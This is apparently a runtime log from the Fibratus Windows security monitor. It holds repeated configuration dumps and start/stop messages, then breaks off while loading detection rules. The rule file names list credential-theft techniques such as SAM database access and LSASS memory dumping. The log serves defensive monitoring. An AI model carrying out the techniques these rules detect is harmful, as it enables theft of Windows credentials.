buffer-size=>512 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true level=>info max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ vhost=>/ durable=>false timeout=>5s tls-insecure-skip-verify=>false url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient exchange=>fibratus exchange-type=>topic enabled=>false passive=>false] http=>[ serializer=>json enable-gzip=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false enabled=>false endpoints=>[]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ bulk-workers=>1 timeout=>5s healthcheck=>true index-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s gzip-compression=>false flush-period=>1s servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false enabled=>false template-name=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-mmaps=>false skip-files=>false skip-allocs=>false scan-timeout=>10s enabled=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:00:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:00:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:05:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:05:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:05:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:06:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T11:06:11+01:00 level=info msg=bootstrapping with pid 7992. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:06:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html use-template=>true enabled=>false to=>[]] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true flush-interval=>1s enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true buffer-size=>512 enable-mem=>false enable-image=>true enable-fileio=>true enable-handle=>false enable-threadpool=>false max-buffers=>36 enable-registry=>true enable-dns=>false min-buffers=>16 enable-thread=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true max-backups=>15 max-age=>0 formatter=>text] + output ......................... [ http=>[ enabled=>false timeout=>5s serializer=>json endpoints=>[] method=>POST enable-gzip=>false tls-insecure-skip-verify=>false] elasticsearch=>[ gzip-compression=>false enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s timeout=>5s template-name=>fibratus healthcheck=>true sniff=>false healthcheck-timeout=>5s flush-period=>1s trace-log=>false bulk-workers=>1 index-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ exchange=>fibratus delivery-mode=>transient enabled=>false tls-insecure-skip-verify=>false exchange-type=>topic durable=>false routing-key=>fibratus timeout=>5s passive=>false url=>amqp://localhost:5672 vhost=>/]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-allocs=>false scan-timeout=>10s skip-registry=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:06:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:06:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:07:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:07:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:07:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:07:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T11:07:37+01:00 level=info msg=bootstrapping with pid 14516. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:07:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s enable-vamap=>true min-buffers=>16 enable-registry=>true enable-handle=>false enable-audit-api=>true enable-fileio=>true stack-enrichment=>true buffer-size=>512 enable-dns=>false enable-mem=>false enable-thread=>true enable-threadpool=>false enable-image=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 max-size=>100 level=>info max-backups=>15] + output ......................... [ http=>[ enable-gzip=>false enabled=>false method=>POST serializer=>json tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s] elasticsearch=>[ healthcheck=>true healthcheck-timeout=>5s trace-log=>false template-name=>fibratus bulk-workers=>1 enabled=>false flush-period=>1s sniff=>false servers=>[http://127.0.0.1:9200] timeout=>5s index-name=>fibratus healthcheck-interval=>10s gzip-compression=>false] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ passive=>false exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient durable=>false enabled=>false routing-key=>fibratus vhost=>/ timeout=>5s]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-files=>[] skip-allocs=>false fastscan=>true skip-registry=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:07:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:07:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:08:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:08:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:08:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:22:09+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T11:22:09+01:00 level=info msg=bootstrapping with pid 9140. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:22:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-thread=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-dns=>false enable-handle=>false stack-enrichment=>true enable-fileio=>true max-buffers=>36 enable-audit-api=>true enable-net=>true flush-interval=>1s min-buffers=>16 enable-registry=>true enable-mem=>false enable-vamap=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text max-age=>0 level=>info log-stdout=>true max-backups=>15] + output ......................... [ elasticsearch=>[ bulk-workers=>1 healthcheck-interval=>10s index-name=>fibratus flush-period=>1s enabled=>false healthcheck=>true healthcheck-timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] sniff=>false gzip-compression=>false timeout=>5s template-name=>fibratus] amqp=>[ url=>amqp://localhost:5672 timeout=>5s vhost=>/ exchange-type=>topic routing-key=>fibratus enabled=>false exchange=>fibratus passive=>false durable=>false delivery-mode=>transient tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json method=>POST timeout=>5s endpoints=>[] enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-files=>false excluded-procs=>[] fastscan=>true scan-timeout=>10s skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:22:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:22:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:22:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:22:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:22:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:23:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T11:23:11+01:00 level=info msg=bootstrapping with pid 17124. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:23:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 content-type=>text/html to=>[] enabled=>false use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-dns=>false enable-vamap=>true max-buffers=>36 enable-thread=>true enable-image=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-threadpool=>false enable-audit-api=>true flush-interval=>1s min-buffers=>16 enable-fileio=>true enable-handle=>false stack-enrichment=>true buffer-size=>512 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 log-stdout=>true formatter=>text max-size=>100 level=>info] + output ......................... [ amqp=>[ passive=>false exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic durable=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] timeout=>5s bulk-workers=>1 index-name=>fibratus trace-log=>false healthcheck-interval=>10s gzip-compression=>false template-name=>fibratus sniff=>false enabled=>false healthcheck-timeout=>5s healthcheck=>true flush-period=>1s] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] method=>POST timeout=>5s serializer=>json enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-files=>false fastscan=>true skip-allocs=>false scan-timeout=>10s excluded-files=>[] enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:23:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:23:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:34:58+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:34:58+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:34:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:35:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T11:35:18+01:00 level=info msg=bootstrapping with pid 7284. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:35:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ to=>[] enabled=>false port=>25 content-type=>text/html use-template=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-audit-api=>true enable-net=>true flush-interval=>1s stack-enrichment=>true enable-threadpool=>false enable-mem=>false buffer-size=>512 enable-fileio=>true enable-image=>true enable-dns=>false enable-handle=>false min-buffers=>16 enable-registry=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text level=>info max-size=>100 max-backups=>15] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false passive=>false timeout=>5s exchange=>fibratus exchange-type=>topic delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 durable=>false vhost=>/ routing-key=>fibratus] elasticsearch=>[ enabled=>false sniff=>false trace-log=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s timeout=>5s index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false bulk-workers=>1 flush-period=>1s] http=>[ serializer=>json tls-insecure-skip-verify=>false enabled=>false endpoints=>[] enable-gzip=>false method=>POST timeout=>5s]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-mmaps=>false excluded-files=>[] skip-files=>false excluded-procs=>[] fastscan=>true skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:35:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:35:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:39:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:39:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:39:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:39:49+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T11:39:49+01:00 level=info msg=bootstrapping with pid 9176. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:39:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html port=>25 to=>[] enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>false buffer-size=>512 enable-net=>true stack-enrichment=>true enable-image=>true flush-interval=>1s max-buffers=>36 enable-mem=>false enable-audit-api=>true min-buffers=>16 enable-handle=>false enable-dns=>false enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-thread=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ template-name=>fibratus gzip-compression=>false index-name=>fibratus trace-log=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s healthcheck=>true timeout=>5s enabled=>false healthcheck-interval=>10s sniff=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ routing-key=>fibratus durable=>false url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient passive=>false tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus vhost=>/ enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] http=>[ serializer=>json method=>POST enabled=>false tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false timeout=>5s]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ fastscan=>true excluded-procs=>[] scan-timeout=>10s excluded-files=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-allocs=>false skip-registry=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:39:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:39:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:42:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:42:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:42:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:42:50+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T11:42:50+01:00 level=info msg=bootstrapping with pid 9576. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:42:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html enabled=>false use-template=>true to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ buffer-size=>512 flush-interval=>1s enable-thread=>true enable-fileio=>true enable-dns=>false min-buffers=>16 enable-registry=>true enable-mem=>false enable-image=>true stack-enrichment=>true enable-vamap=>true enable-threadpool=>false max-buffers=>36 enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text max-size=>100 log-stdout=>true level=>info] + output ......................... [ http=>[ serializer=>json method=>POST enabled=>false tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false timeout=>5s] elasticsearch=>[ template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s timeout=>5s bulk-workers=>1 healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] trace-log=>false enabled=>false index-name=>fibratus healthcheck=>true gzip-compression=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ tls-insecure-skip-verify=>false vhost=>/ exchange=>fibratus enabled=>false routing-key=>fibratus durable=>false delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s passive=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s skip-files=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:42:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:42:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:46:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:46:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:46:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:47:06+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from 